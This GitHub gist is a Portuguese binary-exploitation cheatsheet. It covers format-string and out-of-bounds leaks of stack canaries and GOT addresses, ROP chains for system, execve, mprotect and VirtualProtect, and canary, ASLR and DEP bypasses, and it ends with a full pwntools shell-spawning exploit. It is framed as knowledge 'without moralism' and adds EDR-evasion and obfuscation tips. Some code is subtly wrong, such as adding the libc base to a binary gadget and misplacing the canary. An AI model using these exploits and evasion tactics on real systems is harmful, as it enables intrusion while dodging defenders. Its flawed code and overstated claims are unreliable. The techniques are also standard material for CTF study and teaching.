Skip to content

Instantly share code, notes, and snippets.

@marcostolosa
Created September 9, 2025 10:37
Show Gist options
  • Save marcostolosa/07f8060f8fe71ab4fee971e8e0a47e70 to your computer and use it in GitHub Desktop.
Save marcostolosa/07f8060f8fe71ab4fee971e8e0a47e70 to your computer and use it in GitHub Desktop.
Cheatsheet de Exploração de Binários

Cheatsheet de Exploração de Binários - Tr0p Edition

Introdução

Este cheatsheet cobre técnicas práticas de exploração de binários, com foco em leaks de memória (stack, GOT), construção de ROP chains, e evasão de proteções modernas (canários, ASLR, DEP, NX). É projetado para engenheiros reversos e red teamers que querem conhecimento bruto, sem moralismo ou limitações. Todas as técnicas são explicadas com exemplos práticos, ferramentas do submundo, e truques sujos.


1. Leaks de Memória: Como Ler o Invisível

1.1. Leak de Stack (Canário, Endereços de Retorno, etc.)

O stack contém joias como canários, endereços de retorno, e ponteiros para bibliotecas. Vazá-los é o primeiro passo para contornar proteções.

Vulnerabilidades que permitem leaks de stack:

  • Format String Bugs:
    • Funções como printf, sprintf, ou snprintf sem especificadores seguros (ex.: printf(user_input)).
    • Permite ler valores da pilha usando %p, %x, ou %n.
  • Out-of-Bounds Reads:
    • Acesso a índices de array fora dos limites (ex.: buffer[-1] ou buffer[1000]).
    • Pode vazar canários ou endereços de retorno se o buffer estiver na pilha.
  • Stack Buffer Overreads:
    • Funções como read() ou gets() que leem além do buffer alocado.
    • Ex.: char buf[10]; read(0, buf, 100); pode vazar dados da pilha.

Como explorar:

  1. Identificar a vulnerabilidade:
    • No IDA/Ghidra, procure chamadas a printf, gets, ou loops que acessem arrays sem verificação de limites.
    • Use checksec no gdb para confirmar presença de canário (-fstack-protect).
  2. Testar o leak:
    • Para format strings: Envie %1$p %2$p %3$p ... até encontrar o canário (geralmente um valor com bytes altos aleatórios, ex.: 0x12345600).
    • Para overreads: Envie entradas controladas e observe a saída com gdb ou pwntools.
  3. Mapear a pilha:
    • Use cyclic 200 (pwntools) para criar um padrão cíclico e identificar offsets exatos.
    • Exemplo: Se o canário está em +0x8 após o buffer, ajuste o payload para preservá-lo.
  4. Automatizar:
    • Use pwntools para iterar índices em format strings:
      from pwn import *
      p = process('./vuln')
      p.sendline('%23$p') # Teste índices até vazar canário
      canary = int(p.recvline(), 16)
      log.info(f"Canário: {hex(canary)}")

Ferramentas:

  • pwntools: Automatiza leaks e cálculos de offset.
  • gdb com pwndbg: Use vmmap para mapear a pilha e stack para inspecionar.
  • fmtstr_payload (pwntools): Gera payloads de format string automaticamente.

Táticas de evasão:

  • Use %x ou %p em vez de %s para evitar crashes.
  • Evite EDRs escrevendo payloads em blocos pequenos, simulando entradas normais.

1.2. Leak de Endereços Base via GOT

A GOT (Global Offset Table) contém endereços de funções de bibliotecas (ex.: libc, kernel32.dll). Vazá-los derrota o ASLR, permitindo calcular endereços dinâmicos.

Vulnerabilidades que permitem leaks de GOT:

  • Format String Bugs: Mesma técnica do stack, mas mirando entradas da GOT.
  • Arbitrary Read Primitives:
    • Bugs que permitem ler qualquer endereço de memória (ex.: memcpy com ponteiro controlado).
  • Information Disclosure:
    • Funções como puts ou write que despejam memória para stdout/stderr.
  • Pointer Leaks:
    • Ponteiros na pilha ou heap que apontam para bibliotecas (ex.: environ na libc).

Como explorar:

  1. Localizar a GOT:
    • No IDA, abra View -> Open Subviews -> Imports para ver a GOT.
    • Endereços GOT estão na seção .got.plt (ex.: 0x404000).
  2. Vazar um endereço GOT:
    • Para format strings: Use %p para vazar um endereço GOT (ex.: puts@GOT).
    • Para arbitrary reads: Passe um endereço GOT como argumento (ex.: read(0, got_addr, 8)).
  3. Calcular o base da biblioteca:
    • Subtraia o offset da função (ex.: puts na libc) do endereço vazado.
    • Exemplo:
      got_leak = int(p.recvline(), 16) # Endereço de puts@GOT
      libc_base = got_leak - libc.symbols['puts']
      log.info(f"Libc base: {hex(libc_base)}")
  4. Mapear funções úteis:
    • Com o base da libc, calcule endereços de system, execve, ou mprotect.

Ferramentas:

  • ROPgadget: Para verificar seções .got.plt (ROPgadget --binary vuln --section .got.plt).
  • pwntools: Use ELF('/lib/x86_64-linux-gnu/libc.so.6') para mapear offsets.
  • objdump -R vuln: Lista entradas da GOT.

Táticas de evasão:

  • Use funções menos monitoradas (ex.: write em vez de puts) para vazar.
  • Obfusque payloads com padding aleatório para parecer tráfego normal.

2. Construção de ROP Chains: O Coração do Caos

ROP (Return-Oriented Programming) usa trechos de código existente (gadgets) para contornar DEP, executando chamadas de função sem injetar código novo. É indetectável porque usa instruções legítimas.

Como achar gadgets facilmente:

  1. Use ROPgadget:
    • Comando: ROPgadget --binary vuln --only "pop|ret|mov|call".
    • Priorize gadgets simples como pop rdi; ret ou mov rax, [rsp+8]; ret.
  2. Filtre por seções executáveis:
    • Foque em .text do binário ou bibliotecas carregadas (ex.: libc).
    • Exemplo: ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6.
  3. Automatize com scripts:
    • Use pwntools para montar chains:
      from pwn import *
      rop = ROP(binary)
      rop.raw(rop.find_gadget(['pop rdi', 'ret'])[0])
      rop.raw(next(libc.search(b'/bin/sh\x00')))
      rop.raw(libc.symbols['system'])

Melhores técnicas de ROP:

  • Chamar APIs úteis:
    • Linux: system("/bin/sh"), execve, mprotect.
    • Windows: VirtualProtect, VirtualAlloc, CreateProcess.
    • Exemplo (Linux):
      pop rdi; ret    ; "/bin/sh"
      pop rsi; ret    ; NULL
      pop rdx; ret    ; NULL
      call execve
  • ROP para memória executável:
    • Use mprotect para tornar a pilha executável:
      rop.raw(pop_rdi_ret) # Endereço da memória
      rop.raw(stack_addr)
      rop.raw(pop_rsi_ret) # Tamanho
      rop.raw(0x1000)
      rop.raw(pop_rdx_ret) # Proteção (7 = RWX)
      rop.raw(0x7)
      rop.raw(libc.symbols['mprotect'])
      rop.raw(stack_addr) # Pula para shellcode
  • ROP com JOP/COP (Jump-Oriented, Call-Oriented):
    • Use gadgets terminados em jmp reg ou call reg para maior flexibilidade.
    • Exemplo: jmp [rax] com rax apontando para um endereço controlado.

Táticas de evasão:

  • Evite gadgets óbvios: Gadgets como call system são monitorados por EDRs. Use syscalls diretos.
  • Obfuscação: Misture gadgets de diferentes bibliotecas para confundir análise estática.
  • ROP mínima: Use o menor número de gadgets possível para reduzir a pegada.

Ferramentas:

  • ROPgadget: Para encontrar gadgets.
  • pwntools: Automatiza construção de chains.
  • Ghidra: Use o plugin ROPChain para visualização de gadgets.
  • Zydis: Desmontagem dinâmica para validação de gadgets.

3. Vulnerabilidades para Leitura de Memória

3.1. Format String Bugs

  • Como funciona: Entradas como %s, %p, %n permitem ler/escrever na pilha.
  • Exploração:
    • Leia: %10$p vaza o 10º item da pilha.
    • Escreva: %n para modificar memória (ex.: sobrescrever GOT).
  • Exemplo:
    payload = b'%23$p' # Vaza canário
    p.sendline(payload)
    canary = int(p.recvline(), 16)

3.2. Out-of-Bounds Reads

  • Como funciona: Acesse índices negativos ou além do buffer.
  • Exploração:
    • Exemplo: char buf[10]; buf[-4] pode vazar o canário.
    • Use gdb para testar: print *(char*)($rsp + offset).
  • Ferramentas: pwntools com cyclic para mapear offsets.

3.3. Arbitrary Read Primitives

  • Como funciona: Bugs em memcpy, read, ou ponteiros controlados permitem ler qualquer endereço.
  • Exploração:
    • Passe um endereço GOT como destino: memcpy(user_controlled_ptr, got_addr, 8).
    • Exemplo:

payload = p64(got_addr)
p.sendline(payload)
leak = u64(p.recv(8))

3.4. Heap Metadata Leaks

  • Como funciona: Metadados do heap (ex.: malloc chunks) podem conter ponteiros para bibliotecas.
  • Exploração:
    • Use um use-after-free para ler metadados do heap.
    • Exemplo: Libere um chunk, realoque, e leia seu conteúdo.
  1. Melhores Técnicas de Exploração de Pilha 4.1. Stack Buffer Overflow com Bypass de Canário
  • Passo a passo:
    1. Vaze o canário com format string ou overread.
    2. Construa payload: [buffer][canário][dummy EBP][ROP chain].
    3. Use pwntools para automatizar:
payload = b'A' * offset + p64(canary) + p64(0xdeadbeef) + rop.chain()
    4. p.sendline(payload)

4.2. Bypass de ASLR

  • Método: Vaze endereços GOT ou ponteiros da pilha (ex.: environ).
  • Exemplo:
environ = libc_base + libc.symbols['environ']
p.sendline(p64(environ))
stack_leak = u64(p.recv(8))

4.3. Bypass de DEP via ROP

  • Método: Use ROP para chamar mprotect ou VirtualProtect.
  • Exemplo (Windows):
rop.raw(pop_rcx_ret) # Endereço
rop.raw(stack_addr)
rop.raw(pop_rdx_ret) # Tamanho
rop.raw(0x1000)
rop.raw(pop_r8_ret)  # Proteção (0x40 = PAGE_EXECUTE_READWRITE)
rop.raw(0x40)
rop.raw(kernel32.VirtualProtect)
  1. Ferramentas
  • IDA Pro/Ghidra: Análise estática. Use plugins como GhidraSRE ou IDAPython.
  • pwntools: Automação de exploits (leaks, ROP, shellcode).
  • ROPgadget: Busca de gadgets.
  • x64dbg/pwndbg|gef: Debuggers para análise dinâmica.
  • Zydis/Z3: Desmontagem e resolução de constraints.
  • Custom Scripts: Procure algo como rop_chain_generator.py ou fmtstr_exploit.py em fóruns underground.
  1. Dicas Finais
  • Priorize leaks silenciosos: Format strings e overreads são menos detectáveis que crashes.
  • Teste em sandbox: Use VMs isoladas (ex.: QEMU, VirtualBox) para evitar EDRs.
  • Obfusque tudo: Use XOR dinâmico ou encoders para shellcode.
  • Automatize: Scripts em Python com pwntools economizam tempo.
  • Estude binários reais: Baixe binários vulneráveis de CTFs (pwnable.kr, ROP Emporium, Crackmes.one, MalwareBaazar, etc).

Exemplo Completo de Exploit

from pwn import *

binary = context.binary = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./vuln')

# Leak canário
p.sendline('%23$p')
canary = int(p.recvline(), 16)
log.info(f"Canário: {hex(canary)}")

# Leak GOT
p.sendline('%21$p')
got_leak = int(p.recvline(), 16)
libc_base = got_leak - libc.symbols['puts']
log.info(f"Libc base: {hex(libc_base)}")

# ROP chain
rop = ROP(binary)
rop.raw(canary)
rop.raw(0xdeadbeef)
rop.raw(libc_base + rop.find_gadget(['pop rdi', 'ret'])[0])
rop.raw(next(libc.search(b'/bin/sh\x00')))
rop.raw(libc_base + libc.symbols['system'])

# Payload
payload = b'A' * 100 + rop.chain()
p.sendline(payload)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment